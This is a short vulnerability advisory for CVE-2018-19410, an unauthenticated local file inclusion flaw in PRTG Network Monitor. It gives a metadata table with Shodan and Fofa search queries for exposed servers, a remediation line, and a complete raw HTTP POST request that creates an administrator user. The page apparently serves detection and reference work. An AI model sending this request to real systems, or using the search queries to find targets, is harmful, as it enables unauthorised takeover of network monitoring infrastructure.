| Title | PRTG Network Monitor - Local File Inclusion |
|---|---|
| Author | DhiyaneshDK |
| Severity | Critical |
| Impact | Unauthenticated attackers can create administrator users with full privileges via local file inclusion, leading to complete compromise of the monitoring system and access to network infrastructure. |
| Remediation | Upgrade to PRTG Network Monitor version 18.2.40.1683 or later and ensure the /public directory is properly secured. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91753 |
| CVE ID | CVE-2018-19410 |
| Shodan Query | http.favicon.hash:"-655683626"http.title:"prtg" |
| Fofa Query | icon_hash=-655683626title="prtg" |
| Tags | cve cve2018 prtg lfi kev vkev vuln |
PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the ‘include’ directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the ‘id’ and ‘users’ parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).
POST /public/login.htm?file=/api/addusers.htm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 19
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: /
Referer: /
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
id=200&users=GTRoBX
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19410.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-19410.pcap
N/AN/A